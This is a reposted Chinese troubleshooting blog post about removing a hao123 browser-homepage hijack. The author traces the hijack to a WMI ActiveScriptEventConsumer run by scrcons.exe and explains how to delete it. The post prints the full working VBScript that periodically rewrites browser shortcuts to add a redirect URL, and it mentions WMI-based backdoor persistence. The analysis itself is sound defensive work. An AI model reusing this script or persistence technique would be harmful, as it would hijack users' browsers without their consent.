解决hao123胁持chrome等浏览器主页问题
?
- 轉自:http://xinghao.me/2016/03/01/2016-03-01-kill-hao123/
首先檢查了一下chrome的主頁設置,發現沒有問題,依然是原來的google.com。
然后到chrome的安裝目錄,直接雙擊打開chrome程序,沒有問題。
然后檢查快捷方式。因為我把chrome固定到任務欄上,一般使用的時候都是點擊任務欄圖標的,而實際上這只是一個快捷方式。右鍵任務欄chrome圖標->右鍵Google Chrome->屬性,就會彈出該快捷方式的屬性窗口。發現快捷方式的目標鏈接已經被修改,多加了一個啟動參數:
| 1 | "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" http://hao.169x.cn/?v=108 |
?
而這個網址,打開之后就會重定向到hao123.com。
原因找出來了,出現主頁被脅持的原因是系統里所有跟chrome有關的快捷方式都被修改,加了一個啟動參數導致每次被啟動時候都會跳轉到這個網址。除了任務欄快捷方式之外,開始菜單中跟chrome有關的所有快捷方式都無一幸免。
修復嘗試
定位出這個原因之后,結合網上的一些方法,進行了很多的嘗試,最后也沒有徹底解決:
-
手動刪掉所有快捷方式中的啟動參數。這個方法治標不治本,本來以為這樣可以解決了,結果隔了一段時間,或者重啟系統之后,所有快捷方式又會被惡意修改。
-
嘗試了一下參考文章2的方法,但是找不到文中所說的注冊表項和隱藏文件。
-
在注冊表中搜索所有跟hao123相關的內容,然后刪除,但是問題仍然存在。
-
用Everything搜索本地所有跟hao123相關的文件和文件夾,但是刪除之后仍然沒有解決問題。
-
最后找到了參考文章1的方法,但是在WMI event viewer中找不到文中所說的_EventFilter:Name=”unown_filter”
-
重裝chrome,但是一段時間之后惡心的hao123又回來了
-
把所有chrome快捷方式設為只讀,但是發現一段時間之后還是被惡意修改了
解決方法
經過這些頭痛的嘗試之后,決定先一步一步定位出原因,首先是要看一下到底是什么程序修改了chrome快捷方式。下載Process Monitor,菜單欄Filter->filter,在彈出的窗口中,把chrome的快捷方式路徑添加到監視中:
注意這時候不要對chrome進行任何操作,包括打開、右鍵等等,以免造成干擾。監視一段時間之后,就會發現元兇露出了真面目:
就是這個叫scrcons.exe的程序在修改chrome快捷方式。
這時候發現定位出來的原因跟這篇文章中的原因是一樣的,于是再次按照文中所說的方法,用WMI Event Viewer查看WMI事件。但仍然沒有在root/subscription里面找到可疑項,最后幾番查找,終于在root\CIMV2里面揪出了真兇。
首先打開WMI Event Viewer,點擊左上角工具欄中的Register for Events按鈕,默認就會連接到root\CIMV2,直接點確定即可。
然后在Consumer in root\CIMV2 -> _EventConsumer -> ActiveScriptEventConsumer下,找到了可疑項。
雙擊ActiveScriptEventConsumer.Name=”VBScriptKids_consumer”,彈出屬性頁面:
就會發現chrome快捷方式被修改的元兇 — ScriptText:
| 1 | On Error Resume Next:Const link = "http://hao.169x.cn/?v=108":Const link360 = "http://hao.169x.cn/?v=108&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\chenxh\Desktop,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\chenxh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next: |
?
這個腳本定期就會被系統調用一次,所以就算手動把快捷方式的參數清空,隔一段時間之后又會重新被改回來。
這也是很多流氓軟件的常用招數,具體可以參考利用WMI打造完美“三無”后門。
惡意腳本分析
上面的VB腳本用冒號作為分隔符,把一段程序寫成了一個語句,為了便于理解,把這段腳本重新排版了一下:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | On Error Resume Next Const link = "http://hao.169x.cn/?v=108" Const link360 = "http://hao.169x.cn/?v=108&s=3" browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe" lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\chenxh\Desktop,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\chenxh\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\chenxh\AppData\Roaming\Microsoft\Windows\Start Menu\Programs" browsersArr = split(browsers,",") Set oDic = CreateObject("scripting.dictionary") For Each browser In browsersArr oDic.Add LCase(browser), browser Next lnkpathsArr = split(lnkpaths,",") Set oFolders = CreateObject("scripting.dictionary") For Each lnkpath In lnkpathsArr oFolders.Add lnkpath, lnkpath Next Set fso = CreateObject("Scripting.Filesystemobject") Set WshShell = CreateObject("Wscript.Shell") For Each oFolder In oFolders If fso.FolderExists(oFolder) Then For Each file In fso.GetFolder(oFolder).Files If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then Set oShellLink = WshShell.CreateShortcut(file.Path) path = oShellLink.TargetPath name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path) If oDic.Exists(LCase(name)) Then If LCase(name) = LCase("360se.exe") Then oShellLink.Arguments = link360 Else oShellLink.Arguments = link End If If file.Attributes And 1 Then file.Attributes = file.Attributes - 1 End If oShellLink.Save End If End If Next End If Next |
?
可以看到,這段腳本就是遍歷所有快捷方式目錄(linkpaths)下的所有瀏覽器(browsers)的快捷方式,然后重新給快捷方式加上啟動參數。
這時,我們只需要在WMI event里把?_EventConsumer 刪除,右鍵刪除,如果權限不足,去文件夾下右鍵管理員啟動WMI Event。上述所用到的工具均可百度搜索到。
轉載于:https://www.cnblogs.com/moweijie-mdeveloper/p/7026363.html
總結
以上是生活随笔為你收集整理的解决hao123胁持chrome等浏览器主页问题的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【Windows 10 应用开发】使用快
- 下一篇: 后端时间转js时间,主要用于取倒计时